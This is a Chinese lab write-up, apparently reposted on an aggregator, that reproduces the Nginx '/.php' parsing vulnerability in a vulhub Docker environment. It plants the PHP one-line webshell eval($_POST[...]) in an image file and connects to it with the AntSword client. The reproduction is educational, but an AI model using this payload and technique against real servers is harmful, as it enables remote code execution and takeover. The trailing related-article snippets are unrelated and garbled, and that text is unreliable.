Nginx 解析漏洞复现

2023-05-16

漏洞环境搭建
  • 时间有限,漏洞环境搭建教程简单,在此不再赘述。
    具体项目地址:https://github.com/vulhub/vulhub
    搭建教程及说明可参考:https://vulhub.org/
    -还是挺简单的-
Nginx 解析漏洞复现步骤如下:
  • 靶机环境
CentOS7
nginx/1.15.3
PHP Version 7.2.10

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

  • 启动环境
[root@localhost ~]# cd vulhub/nginx/nginx_parsing_vulnerability/
[root@localhost nginx_parsing_vulnerability]# systemctl start docker.service 
[root@localhost nginx_parsing_vulnerability]# docker-compose build
[root@localhost nginx_parsing_vulnerability]# docker-compose up -d
  • 复现
    1). 访问 http://IP/uploadfiles/nginx.png 如下所示:
    1.png

2). 访问 http://IP/uploadfiles/nginx.png/.php 如下所示:

2.png

通过测试可以看出这就是传说中的nginx解析漏洞:在/nginx.png后加/.php会将nginx.png当成php解析

  • 利用此解析漏洞拿webshell
3.png

一句话:

<?php eval($_POST['zzqsmile'])?>
4.png
  • 最后要注意的是做完漏洞测试实验后记得移除环境
[root@localhost nginx_parsing_vulnerability]# docker-compose down
Stopping nginxparsingvulnerability_nginx_1 ... done
Stopping nginxparsingvulnerability_php_1 ... done
Removing nginxparsingvulnerability_nginx_1 ... done
Removing nginxparsingvulnerability_php_1 ... done
Removing network nginxparsingvulnerability_default
[root@localhost nginx_parsing_vulnerability]# 

在拿webshell时候本来应该很简单,但是开始怎么做菜刀都不能连接成功,后来排错,最后得出可能由于环境问题,菜刀连接不上,不得不用这个之前不知道的蚁剑神器了,弄的我怀疑人生,换个工具一下就连接上,没毛病。

  • 中国蚁剑
    蚁剑地址:https://github.com/AntSwordProject/antSword/releases
    官方加载器:https://github.com/AntSwordProject/AntSword-Loader

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Nginx 解析漏洞复现 的相关文章

随机推荐

  • Android之ListActivity(一):布局与数据绑定

    Android中的列表 xff0c 当然也可以用 ListView来完成所需要的功能 xff0c 用法是一样的 废话不说 xff0c 来关键的 LiveActivity本身继承了关于 List操作的众多接口 xff0c 我们可以方便的重写这
  • 关于Page翻页效果--Page View Controller

    Page View Controllers 你使用一个page view controller用page by page的方式来展示内容 一个page view controller管理一个self contained视图架构 这个架构的父
  • 什么是平衡二叉树和平衡二叉树的高度达到O(log2n)最少需要结点数为n

  • 有母版页的内容页中的PreInit事件找不到控件的问题

    最近碰上一个问题 需要在内容页中的preinit 事件访问控件 xff0c 但是却会报错 xff1a 未将对象引用 设置 到 对象 的 实例 程序如下 xff1a lt 64 Page Language 61 34 C 34 MasterP
  • Android应用Design Support Library完全使用实例

    上周一年一度的Google IO全球开发者大会刚刚结束 xff0c Google在Android这块除过一些优化没有太大亮点 在Android Developer和Android Developer Blog上看了下相关介绍 xff0c G
  • 关于“可执行文件打不开”的解决方法

    方法 1 xff1a 把下面的代码保存为 reg 文件 双击运行即可 Windows Registry Editor Version 5 00 HKEY LOCAL MACHINE SOFTWARE Classes exe 64 61 34
  • C warning:statement with no effect [-Wunused-va...

    2019独角兽企业重金招聘Python工程师标准 gt gt gt 之前做毕设的时候 xff08 4 5月份的时候了 xff09 初步了解了SLEPc库的使用 xff0c 准备把一个示例改写为从一个文本文件中获取矩阵的各个元素 xff0c
  • Android系统设置— android.provider.Settings

    android provider Settings Intent intent 61 new Intent android provider Settings ACTION SETTINGS startActivity intent 打开系
  • ubuntu设置系统时间

    2019独角兽企业重金招聘Python工程师标准 gt gt gt Linux中的所有命令 xff08 包括函数 xff09 都是采用的系统时钟设置 在Linux中 xff0c 用于时钟查看和设置的命令主要有date hwclock 1 d
  • android动画帧率_Android性能优化-你的lottie动画今天跳帧了吗?

    问题现象 底部tab xff0c 现在大家都很熟悉了 xff0c 点击一个tab 就切换一个fragment xff0c 现在主流的做法渐渐演变成点击底部tab的时候 对应的icon要做一些动画 通常而言 xff0c 我们在做类似动画时往往
  • 基于Spring Boot,使用JPA动态调用Sql查询数据

    在 基于Spring Boot xff0c 使用JPA操作Sql Server数据库完成CRUD xff0c 基于Spring Boot xff0c 使用JPA调用Sql Server数据库的存储过程并返回记录集合 完成了CRUD xff0
  • 深度学习入门篇--手把手教你用 TensorFlow 训练模型

    欢迎大家前往腾讯云技术社区 xff0c 获取更多腾讯海量技术实践干货哦 作者 xff1a 付越 导语 Tensorflow在更新1 0版本之后多了很多新功能 xff0c 其中放出了很多用tf框架写的深度网络结构 xff08 github c
  • 修改vnc远程桌面分辨率,3步修改vnc远程桌面分辨率

    在日常工作中 xff0c 由于工作性质 xff0c 所以经常使用计算机 xff0c 当然就免不了得接触vnc远程桌面 xff0c 那有小伙伴知道如何使用vnc远程桌面吗 xff1f 又是如何修改vnc远程桌面分辨率呢 xff1f 之前小编有
  • vector、map还是unordered_map?

    一 引言 当我们需要使用键值对的情况时 xff0c 通常我们会使用map或者unordered map 其中map底层是采用红黑树实现的 xff0c 它的查询复杂度是O lgn unordered map实际上是hash map的实现 xf
  • MAC 系统中显示中文MAN手册

    最近在做中文MAN手册的翻译 xff0c 发现MAC系统中的MAN命令不能像多数Linux发行版那样很好的显示中文MAN手册 根据查找的资料 xff0c 找到了解决方法 xff1a 1 首先要更新你的系统中的 groff 包 xff0c M
  • 编程词汇

    很实用的编程英语词库 xff0c 共收录一千五百余条词汇 第一部分 xff1a application 应用程式 应用 应用程序 application framework 应用程式框架 应用框架 应用程序框架 architecture 架
  • [Machine Learning & Algorithm] 随机森林(Random Forest)

    1 什么是随机森林 xff1f 作为新兴起的 高度灵活的一种机器学习算法 xff0c 随机森林 xff08 Random Forest xff0c 简称RF xff09 拥有广泛的应用前景 xff0c 从市场营销到医疗保健保险 xff0c
  • Hive插入数据的几种常用方法

    Hive的几种常见的数据导入方式 这里介绍四种 xff1a xff08 1 xff09 从本地文件系统中导入数据到Hive表 xff1b xff08 2 xff09 从HDFS上导入数据到Hive表 xff1b xff08 3 xff09
  • VSCode软件介绍

    昨天小伙伴推荐了一款VSCode编辑器 xff0c 在百度上查了许多关于VSCode的介绍 xff0c 总结几点如下 xff1a Visual Studio Code xff08 以下简称vscode xff09 是一个轻量且强大的跨平台开
  • Nginx 解析漏洞复现

    漏洞环境搭建 时间有限 xff0c 漏洞环境搭建教程简单 xff0c 在此不再赘述 具体项目地址 xff1a https github com vulhub vulhub 搭建教程及说明可参考 xff1a https vulhub org